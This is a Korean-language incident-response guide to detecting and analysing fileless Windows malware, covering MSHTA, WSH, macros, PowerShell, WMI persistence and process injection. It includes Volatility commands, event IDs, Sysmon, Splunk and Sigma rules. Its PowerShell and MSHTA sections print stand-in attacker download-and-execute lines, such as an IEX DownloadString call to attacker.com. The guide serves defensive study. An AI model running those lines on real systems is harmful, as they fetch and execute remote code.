개요

파일리스 악성코드(Fileless Malware)는 하드디스크에 파일을 생성하지 않고 메모리에서만 실행되는 악성코드로, "Living off the Land"(LOL) 기법을 활용하여 시스템에 내장된 정상 도구들을 악용합니다. 이러한 공격은 기존 시그니처 기반 탐지를 우회하며, 64%의 성공률을 보이는 고도화된 위협입니다.

 

1. MSHTA 기반 파일리스 악성코드

 - 기법 설명

  > MSHTA.exe는 Microsoft HTML Application Host로, HTML 애플리케이션(HTA)을 실행하는 Windows 내장 도구입니다. 공격자는 MSHTA를 통해 VBScript나 JScript를 실행하여 악성 활동을 수행합니다.

 

 - 공격 방식

  • 인라인 스크립트 실행: mshta.exe vbscript:Execute("malicious_code")
  • 원격 HTA 파일 실행: mshta.exe http://malicious.site/payload.hta
  • 파일 내 HTA 콘텐츠 삽입: 정상 파일에 HTA 콘텐츠를 삽입하여 실행

 - DFIR 분석 방법

  > 주요 확인 사항

# 의심스러운 MSHTA 명령줄 패턴 검색
Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=1} | 
Where-Object {$_.Message -like "*mshta*" -and ($_.Message -like "*vbscript*" -or $_.Message -like "*javascript*")}

 

  > 메모리 분석

# Volatility를 이용한 MSHTA 프로세스 분석
python3 vol.py -f memory.raw windows.pslist | grep -i mshta
python3 vol.py -f memory.raw windows.cmdline | grep -i mshta
python3 vol.py -f memory.raw windows.netstat | grep -i mshta

 

 - 확인해야 할 윈도우 이벤트 ID

  > Event ID 4688 (Security Log): 프로세스 생성 감사

로그 위치: Security 로그

설명: 프로세스 생성 이벤트로 MSHTA.exe 실행 감지

확인 포인트

  • Process Name에서 mshta.exe 확인
  • Command Line에서 vbscript:, javascript:, http://, https:// 패턴 탐지
  • 부모 프로세스가 Office 애플리케이션인지 확인

  > Event ID 400 (Windows PowerShell Log)

로그 위치: Windows PowerShell 로그

설명: PowerShell 명령줄 로깅

확인 포인트

  • MSHTA에서 호출된 PowerShell 명령어 확인
  • 인코딩된 명령어나 다운로드 스크립트 패턴

  > Sysmon이 설치 된 경우

  • Event ID 1 (Sysmon): MSHTA 프로세스 생성 모니터링
  • Event ID 3 (Sysmon): MSHTA의 네트워크 연결 탐지

 - 실제 사례

  > 2025년 다단계 CAPTCHA 기반 공격에서 MSHTA.exe가 Lumma Stealer와 AsyncRAT 배포에 사용되었으며, 가짜 CAPTCHA 페이지를 통해 사용자를 속여 악성 명령을 실행하도록 했습니다.

 

2. 윈도우 스크립트 호스트 (WSH) 기반 악성코드

 - 기법 설명

  > Windows Script Host는 wscript.exe(GUI 모드)와 cscript.exe(콘솔 모드)를 통해 VBScript, JScript 스크립트를 실행하는 시스템입니다. 공격자는 WSH를 악용하여 파일리스 공격을 수행합니다.

 

 - 공격 방식

  • VBScript 악성코드: .vbs 파일을 통한 시스템 조작
  • JScript 공격: .js 파일을 이용한 메모리 내 코드 실행
  • WSF 파일: 여러 스크립트 언어를 통합한 공격

 - DFIR 분석 방법

  > PowerShell 모니터링

# WSH 활동 탐지
Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=1} | 
Where-Object {$_.Message -match "(wscript|cscript)" -and $_.Message -match "\.js|\.vbs|\.wsf"}

 

  > AMSI 통합 분석

Windows Script Host는 AMSI(Anti-Malware Scan Interface)와 통합되어 있어, VBScript와 JScript 콘텐츠를 실시간으로 검사할 수 있습니다.

 

  > 레지스트리 분석:

# WSH 설정 확인
reg query "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled

 

 - 방어 방법

  > WSH 비활성화를 위한 레지스트리 설정:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings]
"Enabled"=dword:00000000

 

 - 확인해야 할 윈도우 이벤트 ID

  > Event ID 4688 (Security Log): 명령줄 인수 포함 프로세스 감사

로그 위치: Security 로그

설명: wscript.exe 또는 cscript.exe 프로세스 생성 감지

확인 포인트

  • Process Name에서 wscript.exe, cscript.exe 확인
  • Command Line에서 .vbs, .js, .wsf 파일 실행 확인
  • 의심스러운 스크립트 경로나 임시 디렉토리에서 실행

  > Event ID 800 (Windows PowerShell Log)

로그 위치: Windows PowerShell 로그

설명: PowerShell 파이프라인 실행 세부사항

확인 포인트

  • VBScript에서 호출된 PowerShell 활동
  • 스크립트 블록 내용 분석

  > Sysmon이 설치 된 경우

  • Event ID 1 (Sysmon): wscript.exe/cscript.exe 프로세스 생성

3. Office 매크로 기반 파일리스 악성코드

 - 기법 설명

  > Microsoft Office 매크로는 VBA(Visual Basic for Applications)를 사용하여 작업을 자동화하는 기능으로, 공격자들이 파일리스 공격의 진입점으로 악용합니다.

 

 - 공격 방식

  • 문서 내 VBA 매크로: Word, Excel 문서에 악성 매크로 삽입
  • 자동 실행 매크로: Document_Open, Auto_Open 등 자동 실행 함수 활용
  • 난독화된 매크로: Base64 인코딩 및 문자열 조작으로 탐지 회피

 - DFIR 분석 방법

  > 매크로 추출 및 분석

# olevba를 이용한 매크로 추출
olevba suspicious_document.docm

# 매크로 덤프 생성
olevba suspicious_document.docm --decode > macro_dump.txt

 

  > 주요 확인 패턴

# Office에서 생성된 의심스러운 프로세스 탐지
Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=1} | 
Where-Object {
    ($_.Message -like "*WINWORD.EXE*" -or $_.Message -like "*EXCEL.EXE*") -and 
    ($_.Message -like "*powershell*" -or $_.Message -like "*cmd.exe*" -or $_.Message -like "*wscript*")
}

 

  > 매크로 악성코드 분석 도구

  • OfficeMalScanner: 매크로 분석 전문 도구
  • oletools: VBA 매크로 정적 분석
  • ViperMonkey: VBA 매크로 동적 분석

 - 확인해야 할 윈도우 이벤트 ID

  > Event ID 4688 (Security Log)

로그 위치: Security 로그

설명: Office 애플리케이션에서 생성된 자식 프로세스 탐지

확인 포인트

  • 부모 프로세스가 WINWORD.EXE, EXCEL.EXE, POWERPNT.EXE인지 확인
  • 자식 프로세스가 powershell.exe, cmd.exe, wscript.exe, mshta.exe인지 확인
  • Office 프로세스에서 실행된 의심스러운 명령줄 분석

  > Application Event Log의 특정 이벤트들

로그 위치: Application 로그

설명: Office 애플리케이션 관련 오류나 경고 이벤트

확인 포인트

  • Office 매크로 실행 시 발생하는 애플리케이션 이벤트
  • VBA 관련 오류 메시지

  > Sysmon이 설치 된 경우

  • Event ID 1: Office 애플리케이션에서 생성된 자식 프로세스
  • Event ID 7: 의심스러운 DLL 로딩

 - 실제 사례 분석

  > AgentTesla 배포 매크로 사례

  • Excel 문서가 VBA 매크로를 포함
  • 매크로가 PowerShell 명령 생성
  • PowerShell이 원격 서버에서 페이로드 다운로드
  • 메모리 내에서 .NET 어셈블리 실행

 

4. Living off the Land (LOtL) 기법

 - 기법 설명
  > LOtL은 공격자가 시스템에 이미 존재하는 정상 도구들을 악용하여 공격을 수행하는 기법입니다. 이는 전통적인 탐지 방법을 우회하고 정상적인 시스템 활동과 구별하기 어렵게 만듭니다.

 

 - 주요 LOtL 도구들

  > PowerShell

  • 기능: .NET 프레임워크 액세스, 메모리 내 실행, 원격 관리
  • 악용 방식: 메모리 내 코드 실행, 파일리스 다운로드, 권한 상승

  > Windows Management Instrumentation (WMI)

  • 기능: 시스템 관리 및 모니터링
  • 악용 방식: 지속성 확보, 원격 실행, 정보 수집

  > CertUtil

  • 기능: 인증서 관리 도구
  • 악용 방식: 파일 다운로드, Base64 인코딩/디코딩

  > Rundll32

  • 기능: DLL 파일 실행
  • 악용 방식: 악성 DLL 실행, 스크립트 우회

 

 - DFIR 분석 방법
  > 행동 기반 분석

# 의심스러운 PowerShell 활동 탐지
Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-PowerShell/Operational"; ID=4104} | 
Where-Object {$_.Message -like "*DownloadString*" -or $_.Message -like "*IEX*" -or $_.Message -like "*Invoke-Expression*"}

 

  > LOLBin 활동 모니터링

# CertUtil 악용 탐지
Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=1} | 
Where-Object {$_.Message -like "*certutil*" -and $_.Message -like "*-urlcache*"}

# Rundll32 악용 탐지  
Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=1} | 
Where-Object {$_.Message -like "*rundll32*" -and $_.Message -like "*javascript:*"}

 

  > 네트워크 연결 분석

# 의심스러운 아웃바운드 연결
Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=3} | 
Where-Object {$_.Message -like "*powershell*" -or $_.Message -like "*certutil*"}

 

 - 확인해야 할 윈도우 이벤트 ID

  > Event ID 4688 (Security Log)

로그 위치: Security 로그

설명: 시스템 내장 도구의 악용 탐지

확인 포인트

  • certutil.exe에서 -urlcache, -decode 파라미터 사용
  • rundll32.exe에서 javascript: 사용
  • regsvr32.exe에서 원격 URL 호출
  • bitsadmin.exe를 통한 파일 다운로드

 

5. PowerShell 기반 파일리스 악성코드

 - 기법 설명

  > PowerShell은 파일리스 공격의 가장 선호되는 도구로, 메모리 내에서 직접 .NET 코드를 실행할 수 있는 강력한 기능을 제공합니다.

 

 - 고급 공격 기법
  > Reflective DLL Injection

# 메모리 내 DLL 로딩 예시
$dllBytes = [System.Convert]::FromBase64String($base64dll)
[System.Reflection.Assembly]::Load($dllBytes)

 

  > 메모리 내 페이로드 실행

# 원격 스크립트 다운로드 및 실행
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')

 

 - DFIR 분석 방법

  > PowerShell 로깅 설정

  • Module Logging 활성화 (Event ID 4103)
  • Script Block Logging 활성화 (Event ID 4104)
  • Transcription 활성화

 

 - 확인해야 할 윈도우 이벤트 ID

  > Event ID 4103 (Microsoft-Windows-PowerShell/Operational): Module Logging

로그 위치: Microsoft-Windows-PowerShell/Operational

설명: PowerShell 모듈 로깅

확인 포인트

  • PowerShell 모듈 실행 세부사항
  • 파이프라인 실행 정보
  • 난독화된 명령어 탐지
  • 변수 초기화 및 명령 호출 추적

  > Event ID 4104 (Microsoft-Windows-PowerShell/Operational): Script Block Logging

로그 위치: Microsoft-Windows-PowerShell/Operational

설명: PowerShell 스크립트 블록 로깅

확인 포인트

  • 실행된 PowerShell 스크립트 전체 내용
  • 런타임 시 난독화 해제된 코드
  • 동적으로 생성된 스크립트 블록
  • DownloadString, IEX, Invoke-Expression 사용
  • FromBase64String 디코딩 활동
  • 메모리 내 .NET 어셈블리 로딩

  > Event ID 4688 (Security Log): Process Creation

로그 위치: Security 로그

설명: PowerShell 프로세스 생성

확인 포인트

  • PowerShell 프로세스 생성 기록
  • 명령줄 인수 포함
  • -EncodedCommand 파라미터 사용
  • -WindowStyle Hidden 등 은밀한 실행 옵션
  • 비정상적인 부모 프로세스에서 PowerShell 호출

 - 메모리 포렌식 분석
  > Volatility 3를 이용한 PowerShell 분석

# PowerShell 프로세스 식별
python3 vol.py -f memory.raw windows.pslist | grep -i powershell

# PowerShell 명령줄 히스토리 추출
python3 vol.py -f memory.raw windows.cmdline | grep -i powershell

# PowerShell 콘솔 히스토리 덤프
python3 vol.py -f memory.raw windows.filescan | grep -i "ConsoleHost_history"

 

  > PowerShell 아티팩트 위치

  • %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
  • 레지스트리: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

 

 - 실제 공격 사례

  > Kaspersky에서 발견한 은행 타겟 공격

  • 도메인 컨트롤러 메모리에서 Meterpreter 코드 탐지
  • PowerShell 스크립트가 Windows 레지스트리에 저장
  • NETSH를 이용한 터널링으로 C2 통신
  • SC 명령으로 서비스 등록하여 지속성 확보

 

6. 메모리 상주 악성코드 (Memory-Resident Malware)

 - 기법 설명

  > 메모리 상주 악성코드는 RAM에만 존재하여 시스템 재시작 시 사라지지만, 실행 중에는 강력한 회피 능력을 보입니다.

 

 - 고급 메모리 공격 기법

  > Process Hollowing

  • 정상 프로세스 생성 후 메모리 공간을 악성 코드로 대체
  • 정상 프로세스 외형을 유지하면서 악성 활동 수행

  > Reflective DLL Injection

  • 정상 프로세스에 악성 DLL을 메모리 내에서 직접 로딩
  • 파일 시스템을 거치지 않는 DLL 실행

 

 - DFIR 분석 방법
  > 라이브 메모리 획득

# WinPmem을 이용한 메모리 덤프
winpmem_v3.3.rc3.exe --output memory.aff4 --format aff4

# FTK Imager를 이용한 메모리 획득
# File → Capture Memory → 목적지 설정 → 실행

 

  > Volatility를 이용한 분석

# 숨겨진 프로세스 탐지
python3 vol.py -f memory.raw windows.psxview

# 프로세스 인젝션 탐지
python3 vol.py -f memory.raw windows.malfind

# 네트워크 연결 분석
python3 vol.py -f memory.raw windows.netstat

# VAD (Virtual Address Descriptor) 분석
python3 vol.py -f memory.raw windows.vadinfo --pid 

 

  > 메모리 이상 징후

  • 실행 권한을 가진 메모리 페이지
  • 비정상적인 메모리 할당 패턴
  • 프로세스 간 메모리 조작

 - 확인해야 할 윈도우 이벤트 ID
  > Event ID 4688 (Security Log)

로그 위치: Security 로그

설명: 의심스러운 프로세스 생성 패턴 탐지

확인 포인트

  • 정상 프로세스에서 생성된 비정상적인 자식 프로세스
  • 시스템 프로세스 경로 외부에서 실행되는 시스템 유사 프로세스명
  • 짧은 실행 시간 후 종료되는 프로세스

  > Event ID 4689 (Security Log)

로그 위치: Security 로그

설명: 프로세스 종료 이벤트

확인 포인트

  • 비정상적으로 빠른 프로세스 종료
  • 프로세스 생성과 종료 시간 간격 분석

 

7. 레지스트리 상주 악성코드

 - 기법 설명

  > 레지스트리 상주 악성코드는 Windows 레지스트리에 악성 페이로드를 저장하여 지속성을 확보하고 탐지를 회피합니다.

 

 - 주요 공격 방식

  > Run Key 악용

HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Run

 

  > 서비스 레지스트리 조작

HKLM\System\CurrentControlSet\Services

 

  > 레지스트리 내 스크립트 저장

HKCU\Software\Microsoft\

 

 - DFIR 분석 방법

  > 레지스트리 분석 도구

# Autoruns를 이용한 자동 실행 항목 확인
autorunsc.exe -a -v -c -h -s

# 레지스트리 키 검사
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s

 

  > Volatility 레지스트리 분석

# 레지스트리 하이브 목록
python3 vol.py -f memory.raw windows.registry.hivelist

# 특정 키 내용 확인
python3 vol.py -f memory.raw windows.registry.printkey --key "Software\Microsoft\Windows\CurrentVersion\Run"

# 레지스트리 값 검색
python3 vol.py -f memory.raw windows.registry.printkey --key "Software" --recurse | grep -i "base64\|powershell"

 

  > 의심스러운 레지스트리 패턴

  • Base64 인코딩된 데이터
  • PowerShell 명령어
  • 스크립트 내용
  • 난독화된 문자열

 - 확인해야 할 윈도우 이벤트 ID
  > Event ID 4657 (Security Log): 지속성 확보 메커니즘 탐지

로그 위치: Security 로그

설명: 레지스트리 값 수정 감지

확인 포인트

  • Run, RunOnce 키의 값 생성/수정
  • 의심스러운 Base64 인코딩된 데이터
  • PowerShell 명령어나 스크립트 내용 저장
  • 서비스 관련 레지스트리 키 변경

 

  > Event ID 4656 (Security Log)

로그 위치: Security 로그

설명: 레지스트리 키 접근 요청

확인 포인트

  • 중요한 레지스트리 키에 대한 접근 시도
  • 비정상적인 프로세스의 레지스트리 접근

 

 

8. WMI 이벤트 구독 (WMI Event Subscription)

 - 기법 설명

  > WMI 이벤트 구독을 통해 시스템 이벤트 발생 시 악성 코드를 실행하는 지속성 기법입니다.

 

 - 공격 구성 요소

  • Event Filter: 트리거 조건 정의
  • Event Consumer: 실행할 액션
  • FilterToConsumerBinding: 필터와 컨슈머 연결

 - DFIR 분석 방법

  > WMI 구독 조회

# WMI 이벤트 필터 확인
Get-WmiObject -Namespace root\subscription -Class __EventFilter

# WMI 이벤트 컨슈머 확인
Get-WmiObject -Namespace root\subscription -Class __EventConsumer

# 바인딩 관계 확인
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding

 

  > 의심스러운 WMI 활동

# 악성 WMI 구독 탐지
Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=19,20,21} | 
Where-Object {$_.Message -like "*powershell*" -or $_.Message -like "*cmd*"}

 

 - 확인해야 할 윈도우 이벤트 ID

  > Event ID 5857-5861 (Microsoft-Windows-WMI-Activity/Operational)

로그 위치: Microsoft-Windows-WMI-Activity/Operational

설명: WMI 활동 및 이벤트 구독 감지

확인 포인트

  • Event ID 5857: WMI 작업 시작
  • Event ID 5858: WMI 클라이언트 실패
  • Event ID 5861: WMI 이벤트 구독 바인딩

  > Event ID 4662 (Security Log)

로그 위치: Security 로그

설명: 객체에 대한 작업 수행

확인 포인트

  • WMI 네임스페이스 접근 및 쿼리 실행
  • WMI 이벤트 구독 생성 활동

  > Sysmon이 설치 된 경우

  • Event ID 19: WMI Event Filter Activity
  • Event ID 20: WMI Event Consumer Activity
  • Event ID 21: WMI Event ConsumerToFilter Activity

 

9. 프로세스 할로잉 (Process Hollowing)

 - 기법 설명

  > 정상 프로세스를 생성한 후 그 메모리 공간을 악성 코드로 대체하는 고급 인젝션 기법입니다.

 

 - 공격 과정

  • 정상 프로세스를 일시 중단 상태로 생성
  • 프로세스 메모리 내용을 언맵핑
  • 악성 코드를 메모리에 매핑
  • 프로세스 실행 재개

 - DFIR 분석 방법

  > Volatility HollowFind 플러그인

# 프로세스 할로잉 탐지
python3 vol.py -f memory.raw windows.hollowfind

# 프로세스 메모리 섹션 분석
python3 vol.py -f memory.raw windows.vadinfo --pid 

# 실행 가능 메모리 영역 덤프
python3 vol.py -f memory.raw windows.malfind --pid 

 

  > 이상 징후

  • 프로세스 이미지와 메모리 내용 불일치
  • 비정상적인 메모리 보호 속성
  • 예상치 못한 코드 섹션

 - 확인해야 할 윈도우 이벤트 ID

  > Event ID 4688 (Security Log)

로그 위치: Security 로그

설명: 의심스러운 프로세스 생성 패턴

확인 포인트

  • 정상 프로세스가 일시 중단 상태로 시작
  • 부모-자식 프로세스 관계의 이상 패턴
  • 예상과 다른 명령줄 인수

  > Sysmon이 설치 된 경우

  • Event ID 1: 부모-자식 프로세스 관계
  • Event ID 7: 의심스러운 이미지 로딩
  • Event ID 8: CreateRemoteThread 탐지
  • Event ID 10: 프로세스 액세스 모니터링

 

10. DLL 인젝션 및 사이드로딩

 - 기법 설명

  > 정상 프로세스에 악성 DLL을 주입하거나 DLL 검색 순서를 악용하는 기법입니다.

 

 - 공격 방식

  • Classic DLL Injection: SetWindowsHookEx, CreateRemoteThread 활용
  • Manual DLL Mapping: 수동 메모리 매핑
  • DLL Side-Loading: DLL 검색 순서 악용

 - DFIR 분석 방법

 

  > Volatility DLL 분석

# 프로세스별 DLL 목록
python3 vol.py -f memory.raw windows.dlllist --pid 

# DLL 모듈 상태 확인
python3 vol.py -f memory.raw windows.ldrmodules --pid 

# 인젝션된 코드 탐지
python3 vol.py -f memory.raw windows.malfind --pid 

 

 - 확인해야 할 윈도우 이벤트 ID

  > Event ID 4688 (Security Log)

로그 위치: Security 로그

설명: DLL 관련 프로세스 활동 탐지

확인 포인트

  • rundll32.exe를 통한 의심스러운 DLL 실행
  • 시스템 디렉토리 외부의 DLL 로딩
  • 서명되지 않은 DLL 실행

  > Sysmon이 설치 된 경우

  • Event ID 7 분석
# 의심스러운 DLL 로딩 탐지
Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=7} | 
Where-Object {
    $_.Message -like "*unsigned*" -or 
    $_.Message -like "*temp*" -or 
    $_.Message -like "*suspicious_path*"
}

 

◎ 포괄적인 메모리 포렌식 절차

1. 라이브 메모리 획득

 - WinPmem 사용법

# 메모리 덤프 생성 (AFF4 형식)
winpmem_v3.3.rc3.exe -o memory.aff4

# RAW 형식으로 변환
winpmem_v3.3.rc3.exe --export PhysicalMemory --output memory.raw memory.aff4

 

 - FTK Imager 사용

  • File → Capture Memory 선택
  • 목적지 경로 및 파일명 설정
  • 메모리 덤프 생성 실행

 

2. Volatility 3 기본 분석 워크플로우

 - 시스템 정보 수집

# 시스템 정보 확인
python3 vol.py -f memory.raw windows.info

# 프로세스 목록
python3 vol.py -f memory.raw windows.pslist

# 프로세스 트리
python3 vol.py -f memory.raw windows.pstree

 

 - 네트워크 분석

# 네트워크 연결
python3 vol.py -f memory.raw windows.netstat

# 네트워크 스캔
python3 vol.py -f memory.raw windows.netscan

 

 - 악성코드 탐지:

# 코드 인젝션 탐지
python3 vol.py -f memory.raw windows.malfind

# 숨겨진 프로세스 탐지
python3 vol.py -f memory.raw windows.psxview

# 후킹 탐지
python3 vol.py -f memory.raw windows.ssdt

 

3. 고급 메모리 분석

 - 레지스트리 분석

# 레지스트리 하이브 목록
python3 vol.py -f memory.raw windows.registry.hivelist

# Run 키 분석
python3 vol.py -f memory.raw windows.registry.printkey --key "Software\Microsoft\Windows\CurrentVersion\Run"

# 서비스 키 분석
python3 vol.py -f memory.raw windows.registry.printkey --key "System\CurrentControlSet\Services"

 

 - 파일 시스템 분석

# 파일 목록
python3 vol.py -f memory.raw windows.filescan

# 핸들 분석
python3 vol.py -f memory.raw windows.handles

# 뮤텍스 분석
python3 vol.py -f memory.raw windows.mutantscan

 


◎ 이벤트 로그 기반 종합 탐지 전략

1. PowerShell 활동 모니터링

 - Script Block Logging 설정

# 그룹 정책을 통한 설정
Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell
"Turn on PowerShell Script Block Logging" → Enabled
"Log script block invocation start / stop events" → Enabled

 

 - 핵심 모니터링 패턴:

# 의심스러운 PowerShell 활동 탐지
Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-PowerShell/Operational"; ID=4104} | 
Where-Object {
    $_.Message -match "(DownloadString|IEX|Invoke-Expression|FromBase64String|EncodedCommand)" -or
    $_.Message -match "(New-Object.*Net\.WebClient|Net\.WebRequest)" -or
    $_.Message -match "(Reflection\.Assembly.*Load|LoadFile|LoadFrom)"
}

 

2. Sysmon 설정 최적화

 - 핵심 이벤트 ID

  • Event ID 1: 프로세스 생성 (의심스러운 부모-자식 관계)
  • Event ID 3: 네트워크 연결 (C2 통신 탐지)
  • Event ID 7: 이미지 로딩 (DLL 인젝션 탐지)
  • Event ID 8: CreateRemoteThread (프로세스 인젝션)
  • Event ID 10: 프로세스 액세스 (크리덴셜 덤핑)
  • Event ID 11: 파일 생성 (드롭퍼 탐지)
  • Event ID 13: 레지스트리 값 설정 (지속성 확보)

 

 - 최적화된 Sysmon 설정

<Sysmon schemaversion="4.82">
  <EventFiltering>
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">powershell</CommandLine>
      <CommandLine condition="contains">cmd.exe</CommandLine>
      <CommandLine condition="contains">wscript</CommandLine>
      <CommandLine condition="contains">cscript</CommandLine>
      <CommandLine condition="contains">mshta</CommandLine>
    </ProcessCreate>
    
    <NetworkConnect onmatch="include">
      <Image condition="contains">powershell.exe</Image>
      <Image condition="contains">mshta.exe</Image>
      <Image condition="contains">rundll32.exe</Image>
    </NetworkConnect>
  </EventFiltering>
</Sysmon>

 

3. 종합 탐지 쿼리

 - 파일리스 공격 탐지 쿼리 (Splunk/Elastic)

# PowerShell 기반 파일리스 공격
index=windows EventCode=4104 OR EventCode=4103 OR EventCode=1
| search (Message="*DownloadString*" OR Message="*IEX*" OR Message="*Invoke-Expression*")
| eval attack_technique="PowerShell Fileless"
| table _time, ComputerName, User, Message, attack_technique

# MSHTA 기반 공격
index=windows EventCode=1 
| search Image="*mshta.exe*" AND (CommandLine="*vbscript*" OR CommandLine="*javascript*")
| eval attack_technique="MSHTA Fileless"
| table _time, ComputerName, User, CommandLine, attack_technique

# Office 매크로 공격
index=windows EventCode=1
| search (ParentImage="*WINWORD.EXE*" OR ParentImage="*EXCEL.EXE*") AND 
         (Image="*powershell.exe*" OR Image="*cmd.exe*" OR Image="*wscript.exe*")
| eval attack_technique="Office Macro Fileless"
| table _time, ComputerName, User, ParentImage, Image, CommandLine, attack_technique

 

◎ 실제 사례 연구

 - 사례 1: SocGholish 파일리스 로더

  > 공격 과정

  • 가짜 브라우저 업데이트를 통한 JavaScript 페이로드 배포
  • JavaScript가 PowerShell을 통해 메모리 내 실행
  • 추가 페이로드 다운로드 및 실행
  • 인포스틸러 최종 배포

  > 탐지 지표

  • Event ID 4104: JavaScript → PowerShell 전환
  • Event ID 3: 의심스러운 네트워크 연결
  • Event ID 1: 비정상적인 프로세스 체인

 

 - 사례 2: Remcos RAT 파일리스 배포

  > 공격 벡터

  • 세금 관련 미끼를 사용한 LNK 파일 배포
  • MSHTA.exe를 통한 HTA 파일 실행
  • PowerShell 셸코드 로더 실행
  • 메모리 내 Remcos RAT 배포

  > DFIR 분석 결과

  • Event ID 1: LNK → MSHTA → PowerShell 체인
  • 메모리 분석: 셸코드 인젝션 패턴 발견
  • 네트워크 분석: C2 서버 통신 확인

 

 - 사례 3: Kaspersky 분석 은행 대상 공격

  > 기법 조합

  • Meterpreter 코드의 메모리 상주
  • PowerShell 스크립트의 레지스트리 저장
  • NETSH를 이용한 터널링
  • SC 명령으로 서비스 지속성

  > 핵심 IOC

  • 레지스트리: 인코딩된 PowerShell 스크립트
  • 메모리: Meterpreter 시그니처
  • 네트워크: NETSH 터널링 패턴

 

◎ 대응 및 복구 전략

1. 즉시 대응 절차

 - 격리 및 봉쇄

# 네트워크 격리
Disable-NetAdapter -Name "*" -Confirm:$false

# 의심스러운 프로세스 종료
Stop-Process -Name "powershell" -Force
Stop-Process -Name "mshta" -Force

# 서비스 중지
Stop-Service -Name "suspicious_service" -Force

 

 - 증거 수집

# 메모리 덤프 생성
winpmem_v3.3.rc3.exe --output incident_memory.aff4

# 이벤트 로그 백업
wevtutil epl System system_backup.evtx
wevtutil epl Security security_backup.evtx
wevtutil epl "Microsoft-Windows-PowerShell/Operational" powershell_backup.evtx

# 레지스트리 백업
reg export HKLM\Software registry_software.reg
reg export HKCU\Software registry_user.reg

 

2. 복구 및 강화

 - 시스템 복구

# 악성 레지스트리 키 삭제
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "suspicious_entry"

# WMI 이벤트 구독 정리
Get-WmiObject -Namespace root\subscription -Class __EventFilter | 
Where-Object {$_.Name -like "*suspicious*"} | Remove-WmiObject

# 예약된 작업 정리
Get-ScheduledTask | Where-Object {$_.TaskName -like "*suspicious*"} | Unregister-ScheduledTask

 

 - 보안 강화

# PowerShell Execution Policy 제한
Set-ExecutionPolicy Restricted -Force

# AMSI 강화
Set-MpPreference -DisableRealtimeMonitoring $false

# Application Control 설정
# WDAC 정책 적용

 

◎ 예방 및 탐지 강화 방안

1. 모니터링 인프라 구축

 - 필수 로깅 설정

  • PowerShell Script Block Logging (Event ID 4104): PowerShell 기반 공격의 핵심 증거
  • PowerShell Module Logging (Event ID 4103)
  • Process Creation Auditing (Event ID 4688): 모든 파일리스 기법의 기본 탐지 포인트
  • Sysmon 전체 이벤트 (Event ID 1-29)

 

 - 그룹 정책을 통한 활성화

  > Process Creation Auditing(프로세스 생성 감사): Event ID 4688

  • 경로: Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Detailed Tracking
  • 설정: Audit Process Creation → Success 활성화

  > 명령줄 포함 설정

  • 경로: Computer Configuration > Policies > Administrative Templates > System > Audit Process Creation
  • 설정: Include command line in process creation events → Enabled

  > PowerShell 로깅

  • 경로: Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell
  • 설정:

Turn on Module Logging → Enabled

Turn on PowerShell Script Block Logging → Enabled

 

  > 레지스트리 감사

  • 경로: Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Audit Policy
  • 설정: Audit Object Access → Success 및 Failure 활성화

 

 - 중앙화된 로그 수집

# ELK Stack 설정 예시
input {
  beats {
    port => 5044
  }
}

filter {
  if [event_id] == 4104 {
    mutate {
      add_field => { "attack_category" => "powershell_execution" }
    }
  }
  
  if [event_id] == 1 and [parent_image] =~ /mshta\.exe/ {
    mutate {
      add_field => { "attack_category" => "mshta_spawn" }
    }
  }
}

 

2. 자동화된 탐지 규칙
SIGMA 규칙 예시

title: Suspicious PowerShell Download and Execute
status: experimental
description: Detects suspicious PowerShell commands that download and execute code
references:
    - https://github.com/SigmaHQ/sigma
tags:
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: powershell
detection:
    selection:
        EventID: 4104
        ScriptBlockText|contains:
            - 'DownloadString'
            - 'IEX'
            - 'Invoke-Expression'
            - 'FromBase64String'
    condition: selection
falsepositives:
    - Legitimate administration scripts
level: high

 

3. 행동 기반 분석

 - 머신러닝 모델 적용

  • 비정상적인 프로세스 체인 탐지
  • 메모리 사용 패턴 분석
  • 네트워크 트래픽 이상 탐지
  • 사용자 행동 베이스라인 비교

 - 위협 헌팅 쿼리

-- 의심스러운 프로세스 체인
SELECT 
    timestamp,
    hostname,
    parent_process,
    child_process,
    command_line
FROM process_events
WHERE parent_process IN ('winword.exe', 'excel.exe', 'outlook.exe')
    AND child_process IN ('powershell.exe', 'cmd.exe', 'mshta.exe', 'wscript.exe')
    AND command_line LIKE '%http%'
ORDER BY timestamp DESC;

 

4. 중요 탐지 포인트

 - 공통 의심 패턴

  • 인코딩된 명령어: Base64, URL 인코딩 패턴
  • 원격 다운로드: HTTP/HTTPS URL을 통한 페이로드 다운로드
  • 메모리 실행: 파일 시스템 우회 실행 패턴
  • 프로세스 체인: 비정상적인 부모-자식 프로세스 관계
  • 시간 패턴: 짧은 시간 내 연속적인 프로세스 생성/종료

 - 우선순위 모니터링

  • Event ID 4688: 모든 파일리스 기법의 기본 탐지 포인트
